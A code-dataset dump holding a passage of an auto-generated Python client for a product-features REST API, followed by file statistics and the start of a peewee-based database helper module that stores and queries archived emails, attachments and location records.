for asynchronous request. (optional)
:param int video_id: (required)
:param str features: To attach existing FeatureValue to Product: ``` [{ \"id_feature\":3, \"id_feature_value\":5 }] ``` To create a custom FeatureValue: ``` [{ \"id_feature\":3, \"custom_value\":[{ \"lang\": 1, \"value\": \"string\" }] }] ``` (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['video_id', 'features']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method attach_features_to_video" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'video_id' is set
if ('video_id' not in params) or (params['video_id'] is None):
raise ValueError("Missing the required parameter `video_id` when calling `attach_features_to_video`")
# verify the required parameter 'features' is set
if ('features' not in params) or (params['features'] is None):
raise ValueError("Missing the required parameter `features` when calling `attach_features_to_video`")
collection_formats = {}
resource_path = '/videos/{video_id}/features'.replace('{format}', 'json')
path_params = {}
if 'video_id' in params:
path_params['video_id'] = params['video_id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
if 'features' in params:
form_params.append(('features', params['features']))
self.api_client.set_default_header('Content-Type', 'application/x-www-form-urlencoded')
body_params = None
# Authentication setting
auth_settings = ['ApiClientId', 'ApiClientSecret']
return self.api_client.call_api(resource_path, 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None,
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def detach_feature_to_product(self, product_id, feature_id, **kwargs):
"""
Detach feature to product
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.detach_feature_to_product(product_id, feature_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int product_id: (required)
:param int feature_id: (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.detach_feature_to_product_with_http_info(product_id, feature_id, **kwargs)
else:
(data) = self.detach_feature_to_product_with_http_info(product_id, feature_id, **kwargs)
return data
def detach_feature_to_product_with_http_info(self, product_id, feature_id, **kwargs):
"""
Detach feature to product
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.detach_feature_to_product_with_http_info(product_id, feature_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int product_id: (required)
:param int feature_id: (required)
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['product_id', 'feature_id']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method detach_feature_to_product" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'product_id' is set
if ('product_id' not in params) or (params['product_id'] is None):
raise ValueError("Missing the required parameter `product_id` when calling `detach_feature_to_product`")
# verify the required parameter 'feature_id' is set
if ('feature_id' not in params) or (params['feature_id'] is None):
raise ValueError("Missing the required parameter `feature_id` when calling `detach_feature_to_product`")
collection_formats = {}
resource_path = '/products/{product_id}/features/{feature_id}'.replace('{format}', 'json')
path_params = {}
if 'product_id' in params:
path_params['product_id'] = params['product_id']
if 'feature_id' in params:
path_params['feature_id'] = params['feature_id']
query_params = {}
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['ApiClientId', 'ApiClientSecret']
return self.api_client.call_api(resource_path, 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None,
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_category_features(self, category_id, **kwargs):
"""
Get category features
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_category_features(category_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int category_id: Category ID to fetch (required)
:param int page:
:param int per_page:
:return: Features
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_category_features_with_http_info(category_id, **kwargs)
else:
(data) = self.get_category_features_with_http_info(category_id, **kwargs)
return data
def get_category_features_with_http_info(self, category_id, **kwargs):
"""
Get category features
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_category_features_with_http_info(category_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int category_id: Category ID to fetch (required)
:param int page:
:param int per_page:
:return: Features
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['category_id', 'page', 'per_page']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_category_features" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'category_id' is set
if ('category_id' not in params) or (params['category_id'] is None):
raise ValueError("Missing the required parameter `category_id` when calling `get_category_features`")
collection_formats = {}
resource_path = '/categories/{category_id}/features'.replace('{format}', 'json')
path_params = {}
if 'category_id' in params:
path_params['category_id'] = params['category_id']
query_params = {}
if 'page' in params:
query_params['page'] = params['page']
if 'per_page' in params:
query_params['per_page'] = params['per_page']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['ApiClientId', 'ApiClientSecret']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Features',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_extract_features(self, extract_id, **kwargs):
"""
Get extract features
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_extract_features(extract_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int extract_id: Extract ID to fetch (required)
:param int page:
:param int per_page:
:return: Features
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_extract_features_with_http_info(extract_id, **kwargs)
else:
(data) = self.get_extract_features_with_http_info(extract_id, **kwargs)
return data
def get_extract_features_with_http_info(self, extract_id, **kwargs):
"""
Get extract features
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_extract_features_with_http_info(extract_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int extract_id: Extract ID to fetch (required)
:param int page:
:param int per_page:
:return: Features
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['extract_id', 'page', 'per_page']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_extract_features" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'extract_id' is set
if ('extract_id' not in params) or (params['extract_id'] is None):
raise ValueError("Missing the required parameter `extract_id` when calling `get_extract_features`")
collection_formats = {}
resource_path = '/extracts/{extract_id}/features'.replace('{format}', 'json')
path_params = {}
if 'extract_id' in params:
path_params['extract_id'] = params['extract_id']
query_params = {}
if 'page' in params:
query_params['page'] = params['page']
if 'per_page' in params:
query_params['per_page'] = params['per_page']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['ApiClientId', 'ApiClientSecret']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Features',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_feature_values(self, **kwargs):
"""
Get feature value list
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_feature_values(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int page:
:param int per_page:
:return: Products1
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_feature_values_with_http_info(**kwargs)
else:
(data) = self.get_feature_values_with_http_info(**kwargs)
return data
def get_feature_values_with_http_info(self, **kwargs):
"""
Get feature value list
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_feature_values_with_http_info(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int page:
:param int per_page:
:return: Products1
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['page', 'per_page']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_feature_values" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
resource_path = '/feature-values'.replace('{format}', 'json')
path_params = {}
query_params = {}
if 'page' in params:
query_params['page'] = params['page']
if 'per_page' in params:
query_params['per_page'] = params['per_page']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['ApiClientId', 'ApiClientSecret']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Products1',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_features(self, **kwargs):
"""
Get feature list
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_features(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int page:
:param int per_page:
:return: Features
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_features_with_http_info(**kwargs)
else:
(data) = self.get_features_with_http_info(**kwargs)
return data
def get_features_with_http_info(self, **kwargs):
"""
Get feature list
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_features_with_http_info(callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int page:
:param int per_page:
:return: Features
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['page', 'per_page']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_features" % key
)
params[key] = val
del params['kwargs']
collection_formats = {}
resource_path = '/features'.replace('{format}', 'json')
path_params = {}
query_params = {}
if 'page' in params:
query_params['page'] = params['page']
if 'per_page' in params:
query_params['per_page'] = params['per_page']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['ApiClientId', 'ApiClientSecret']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Features',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_product_features(self, product_id, **kwargs):
"""
Get product features
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_product_features(product_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int product_id: Product ID to fetch (required)
:param int page:
:param int per_page:
:return: Features
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_product_features_with_http_info(product_id, **kwargs)
else:
(data) = self.get_product_features_with_http_info(product_id, **kwargs)
return data
def get_product_features_with_http_info(self, product_id, **kwargs):
"""
Get product features
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_product_features_with_http_info(product_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int product_id: Product ID to fetch (required)
:param int page:
:param int per_page:
:return: Features
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['product_id', 'page', 'per_page']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_product_features" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'product_id' is set
if ('product_id' not in params) or (params['product_id'] is None):
raise ValueError("Missing the required parameter `product_id` when calling `get_product_features`")
collection_formats = {}
resource_path = '/products/{product_id}/features'.replace('{format}', 'json')
path_params = {}
if 'product_id' in params:
path_params['product_id'] = params['product_id']
query_params = {}
if 'page' in params:
query_params['page'] = params['page']
if 'per_page' in params:
query_params['per_page'] = params['per_page']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['ApiClientId', 'ApiClientSecret']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Features',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def get_video_features(self, video_id, **kwargs):
"""
Get video features
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_video_features(video_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int video_id: Video ID to fetch (required)
:param int page:
:param int per_page:
:return: Features
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('callback'):
return self.get_video_features_with_http_info(video_id, **kwargs)
else:
(data) = self.get_video_features_with_http_info(video_id, **kwargs)
return data
def get_video_features_with_http_info(self, video_id, **kwargs):
"""
Get video features
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please define a `callback` function
to be invoked when receiving the response.
>>> def callback_function(response):
>>> pprint(response)
>>>
>>> thread = api.get_video_features_with_http_info(video_id, callback=callback_function)
:param callback function: The callback function
for asynchronous request. (optional)
:param int video_id: Video ID to fetch (required)
:param int page:
:param int per_page:
:return: Features
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['video_id', 'page', 'per_page']
all_params.append('callback')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_video_features" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'video_id' is set
if ('video_id' not in params) or (params['video_id'] is None):
raise ValueError("Missing the required parameter `video_id` when calling `get_video_features`")
collection_formats = {}
resource_path = '/videos/{video_id}/features'.replace('{format}', 'json')
path_params = {}
if 'video_id' in params:
path_params['video_id'] = params['video_id']
query_params = {}
if 'page' in params:
query_params['page'] = params['page']
if 'per_page' in params:
query_params['per_page'] = params['per_page']
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# Authentication setting
auth_settings = ['ApiClientId', 'ApiClientSecret']
return self.api_client.call_api(resource_path, 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Features',
auth_settings=auth_settings,
callback=params.get('callback'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
| 44.131535
| 332
| 0.561674
| 5,274
| 52,340
| 5.316648
| 0.034319
| 0.062767
| 0.021969
| 0.028245
| 0.972682
| 0.965086
| 0.951462
| 0.943153
| 0.934023
| 0.926961
| 0
| 0.001237
| 0.351337
| 52,340
| 1,185
| 333
| 44.168776
| 0.824659
| 0.325506
| 0
| 0.811765
| 1
| 0
| 0.181827
| 0.051122
| 0
| 0
| 0
| 0
| 0
| 1
| 0.038655
| false
| 0
| 0.011765
| 0
| 0.107563
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
53b0e2c4a1130f04b748da190599bff303b19f11
| 36,888
|
py
|
Python
|
Application/datasources/datapod_google/db_calls.py
|
GraphicalDot/datapod-backend-layer
|
ab38a5b0e969cd0d762e9d7720ab89174c333c37
|
[
"Apache-2.0"
] | null | null | null |
Application/datasources/datapod_google/db_calls.py
|
GraphicalDot/datapod-backend-layer
|
ab38a5b0e969cd0d762e9d7720ab89174c333c37
|
[
"Apache-2.0"
] | null | null | null |
Application/datasources/datapod_google/db_calls.py
|
GraphicalDot/datapod-backend-layer
|
ab38a5b0e969cd0d762e9d7720ab89174c333c37
|
[
"Apache-2.0"
] | null | null | null |
import aiomisc
#@retry(stop=stop_after_attempt(2))
import json
import datetime
from peewee import IntegrityError, OperationalError
from errors_module.errors import APIBadRequest, DuplicateEntryError
from loguru import logger
@aiomisc.threaded
def update_status(status_table, datasource_name, username, status, checksum=None, path=None, original_path=None):
try:
status_table.insert(source=datasource_name,
username=username,
status=status,
path = path,
original_path=original_path,
checksum=checksum
).execute()
except IntegrityError as e:
logger.error(f"Couldnt insert {datasource_name} because of {e} so updating it")
if path and original_path:
status_table.update(
status=status,
path = path,
checksum=checksum,
original_path=original_path).\
where(status_table.username==username).\
execute()
elif original_path:
status_table.update(
status=status,
checksum=checksum,
original_path=original_path).\
where(status_table.username==username).\
execute()
elif path:
status_table.update(
status=status,
checksum=checksum,
path=path).\
where(status_table.username==username).\
execute()
else:
status_table.update(
checksum=checksum,
status=status).\
where(status_table.username==username).\
execute()
except Exception as e:
logger.error(f"Couldnt {datasource_name} updated because of {e}")
return
@aiomisc.threaded
def update_percentage(status_table, datasource_name, username, percentage):
status_table.update(
percentage=percentage,
last_updated=datetime.datetime.now()).\
where(status_table.username==username).\
execute()
return
@aiomisc.threaded
def delete_status(status_table, datasource_name, username):
try:
status_table.delete().where(status_table.username==username).execute()
except Exception as e:
logger.error(f"Couldnt delete {datasource_name} updated because of {e}")
return
@aiomisc.threaded
def delete_archive(archives_table, checksum):
try:
archives_table.delete().where(archives_table.checksum==checksum).execute()
except Exception as e:
logger.error(f"Couldnt delete {checksum} from archives table because of {e}")
return
@aiomisc.threaded
def update_stats(stats_table, datasource_name, username, data_items, size, sync_frequency, sync_type, next_sync):
"""
"""
try:
stats_table.insert(
source = datasource_name,
username = username,
data_items = data_items,
disk_space_used = size,
sync_frequency = sync_frequency,
sync_type = sync_type,
next_sync = next_sync).execute()
except IntegrityError as e:
logger.error(f"Couldnt insert stats for {datasource_name} because of {e} so updating it")
stats_table.update(
data_items = data_items,
disk_space_used = size).\
where(stats_table.username==username).\
execute()
except Exception as e:
logger.error(f"Couldnt {datasource_name} updated because of {e}")
return
@aiomisc.threaded
def get_status(status_table, username=None):
logger.info(f"This is the username {username}")
if not username:
return status_table.select().dicts()
return status_table.select().where(status_table.username==username).dicts()
@aiomisc.threaded
def get_stats(stats_table):
return stats_table.select().dicts()
#@retry(stop=stop_after_attempt(2))
@aiomisc.threaded
def store_email(**data):
"""
purchases: a list of purchases dict
"""
email_table = data["tbl_object"]
try:
email_table.insert(email_id=data["email_id"], from_addr=data["from_addr"],
to_addr=data["to_addr"],
subject=data["subject"],
username = data["username"],
checksum=data["checksum"],
content=data["content"],
email_id_raw= data["email_id_raw"],
message_type = data["message_type"],
attachments = data["attachments"],
category=data["category"],
categories = data["categories"],
date=data["date"], path=data["path"]).execute()
#logger.success(f"Success on insert email_id --{data['email_id']}-- path --{data['path']}--")
except IntegrityError:
#raise DuplicateEntryError(data['email_id'], "Email")
#use with tenacity
raise DuplicateEntryError(data['email_id'], "Email")
except Exception as e:
#raise DuplicateEntryError(data['email_id'], "Email")
#use with tenacity
logger.error(f"Email data insertion failed {data['email_id']} with {e}")
return
@aiomisc.threaded
def store_email_content(**data):
"""
purchases: a list of purchases dict
"""
index_email_content_table = data["tbl_object"]
try:
index_email_content_table.insert(email_id=data["email_id"],
content=data["content"],
username = data["username"],
checksum=data["checksum"],
content_hash=data["content_hash"],
attachments = data["attachments"]).execute()
#logger.success(f"Success on insert indexed content for email_id --{data['email_id']}-- ")
except IntegrityError as e:
logger.error(f"Error on insert indexed content for email_id --{data['email_id']}-- with error {e}")
except Exception as e:
#raise DuplicateEntryError(data['email_id'], "Email")
#use with tenacity
logger.error(f"Email content insertion failed {data['email_id']} with {e}")
return
#@retry(stop=stop_after_attempt(2))
@aiomisc.threaded
def store_bulk_locations(locations_table, locations_data_list):
"""
purchases: a list of purchases dict
"""
for __object in locations_data_list:
activity = __object.get("activity")
if activity:
activity = json.dumps(activity)
__object.update({"activity": activity })
try:
locations_table.insert_many(locations_data_list).execute()
except Exception as e:
#raise DuplicateEntryError(data['email_id'], "Email")
#use with tenacity
logger.error(f"Location data insertion failed with {e}")
return
@aiomisc.threaded
def store_bulk_locations_approximate(location_approximate_table, locations_data_list):
"""
purchases: a list of purchases dict
"""
for __object in locations_data_list:
activity = __object.get("activity")
if activity:
activity = json.dumps(activity)
latitude = "{0:.4f}".format(__object["latitude"])
longitude = "{0:.4f}".format(__object["longitude"])
__object.update({"activity": activity, "longitude": longitude, "latitude": latitude })
try:
location_approximate_table.insert_many(locations_data_list).execute()
except Exception as e:
#raise DuplicateEntryError(data['email_id'], "Email")
#use with tenacity
logger.error(f"Location data insertion failed with {e}")
return
#@retry(stop=stop_after_attempt(2))
@aiomisc.threaded
def store_locations_approximate(**data):
"""
purchases: a list of purchases dict
"""
table = data["tbl_object"]
activity = data.get("activity")
if activity:
activity = json.dumps(activity)
try:
table.insert(
username = data["username"],
checksum = data["checksum"],
lattitude = data["latitude"],
longitude = data["longitude"],
_lattitude = data["_latitude"],
_longitude = data["_longitude"],
time = data["time"],
accuracy = data["time"],
velocity = data["time"],
altitude = data["altitude"],
activity = data["activity"],
heading = data["heading"],
vertical_accuracy = data["vertical_accuracy"],
count = 1
).execute()
#logger.success(f"Success on insert email_id --{data['email_id']}-- path --{data['path']}--")
except IntegrityError:
#raise DuplicateEntryError(data['email_id'], "Email")
#use with tenacity
table.update(count= table.count+1).where(table.latitude==data["latitude"], table.longitude==data["longitude"] ).execute()
logger.warning(f'Found duplicate for {data["latitude"]} {data["longitude"]} so updating the counter')
except Exception as e:
#raise DuplicateEntryError(data['email_id'], "Email")
#use with tenacity
logger.error(f"Location data insertion failed {data} with {e}")
return
@aiomisc.threaded
def store_locations(**data):
"""
"""
table = data["tbl_object"]
latitude = "{0:.4f}".format(data["latitude"])
longitude = "{0:.4f}".format(data["longitude"])
activity = data.get("activity")
if activity:
activity = json.dumps(activity)
try:
table.insert(
username = data["username"],
checksum = data["checksum"],
lattitude = latitude,
longitude = longitude,
time = data["time"],
accuracy = data["time"],
velocity = data["time"],
altitude = data["altitude"],
activity = activity,
heading = data["heading"],
vertical_accuracy = data["vertical_accuracy"],
count = 1
).execute()
#logger.success(f"Success on insert email_id --{data['email_id']}-- path --{data['path']}--")
except IntegrityError:
#raise DuplicateEntryError(data['email_id'], "Email")
#use with tenacity
table.update(count= table.count+1).where(table.latitude==latitude, table.longitude==longitude ).execute()
logger.warning(f'Found duplicate for {data["latitude"]} {data["longitude"]} so updating the counter')
except Exception as e:
#raise DuplicateEntryError(data['email_id'], "Email")
#use with tenacity
logger.error(f"locate approximate data insertion failed {data} with {e}")
return
#@retry(stop=stop_after_attempt(2))
@aiomisc.threaded
def store_email_attachment(**data):
"""
purchases: a list of purchases dict
"""
email_attachment_table = data["tbl_object"]
try:
email_attachment_table.insert(email_id=data["email_id"],
path=data["path"],
username = data["username"],
checksum=data["checksum"],
attachment_name=data["attachment_name"],
message_type= data["message_type"],
date=data["date"]).execute()
# logger.success(f"Success on insert attachement for email_id --{data['email_id']}-- \
# path --{data['path']}-- and attachement name {data['attachment_name']}")
except IntegrityError as e:
logger.error(f"Error on insert attachement for email_id --{data['email_id']}-- \
path --{data['path']}-- and attachement name {data['attachment_name']}\
with error {e}")
except Exception as e:
#raise DuplicateEntryError(data['email_id'], "Email")
#use with tenacity
logger.error(f"Email sttachment insertion failed {data['email_id']} with {e}")
return
@aiomisc.threaded
def filter_attachments(tbl_object, username, message_type, start_date, end_date, skip, limit):
"""
purchases: a list of purchases dict
"""
# email_attachment_table = tbl_object
# return email_attachment_table\
# .select()\
# .order_by(-email_attachment_table.date)\
# .paginate(page, number)\
# .dicts()
if start_date and end_date:
logger.info("Start date and end date")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.message_type== message_type)&\
(tbl_object.date> start_date) &\
(tbl_object.date < end_date))
elif start_date and not end_date:
logger.info("Start date and but not end date")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.message_type== message_type)&
(tbl_object.date> start_date))
elif end_date and not start_date:
logger.info("not Start date and but end date")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.message_type== message_type)&\
(tbl_object.date < end_date))
else: # not start_date and not end_date
logger.info("Start date and end date is not present")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &(tbl_object.message_type== message_type))
return query.offset(skip).limit(limit).dicts(), query.count()
@aiomisc.threaded
def filter_attachments_on_text(tbl_object, username, message_type, start_date, end_date, skip, limit, search_text):
"""
purchases: a list of purchases dict
"""
# email_attachment_table = tbl_object
# return email_attachment_table\
# .select()\
# .order_by(-email_attachment_table.date)\
# .paginate(page, number)\
# .dicts()
if start_date and end_date:
logger.info("Start date and end date")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.attachment_name**f'%{search_text}%') &\
(tbl_object.message_type== message_type)&\
(tbl_object.date> start_date) &\
(tbl_object.date < end_date))
elif start_date and not end_date:
logger.info("Start date and but not end date")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.attachment_name**f'%{search_text}%') &\
(tbl_object.message_type== message_type)&
(tbl_object.date> start_date))
elif end_date and not start_date:
logger.info("not Start date and but end date")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.attachment_name**f'%{search_text}%') &\
(tbl_object.message_type== message_type)&\
(tbl_object.date < end_date))
else: # not start_date and not end_date
logger.info("Start date and end date is not present")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.attachment_name**f'%{search_text}%') &\
(tbl_object.message_type== message_type))
return query.offset(skip).limit(limit).dicts(), query.count()
@aiomisc.threaded
def get_emails(tbl_object, username, message_type, start_date, end_date, skip, limit, attachments):
"""
"""
logger.info(f"This is the username {username} and attahmdents {attachments}")
# return email_attachment_table\
# .select()\
# .order_by(-email_attachment_table.date)\
# .where(email_attachment_table.message_type== message_type)\
# .paginate(page, number)\
# .dicts()
if attachments:
if start_date and end_date:
logger.info("Start date and end date")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.attachments) &\
(tbl_object.message_type== message_type)& \
(tbl_object.date> start_date) &\
(tbl_object.date < end_date))
elif start_date and not end_date:
logger.info("Start date and but not end date")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.attachments) &\
(tbl_object.message_type== message_type)&\
(tbl_object.date> start_date))
elif end_date and not start_date:
logger.info("not Start date and but end date")
query = tbl_object\
.select()\
.order_by(-tbl_object.date)\
.where((tbl_object.username ==username) &\
(tbl_object.attachments) &\
(tbl_object.message_type== message_type)&\
(tbl_object.date < end_date))
else: # not start_date and not end_date
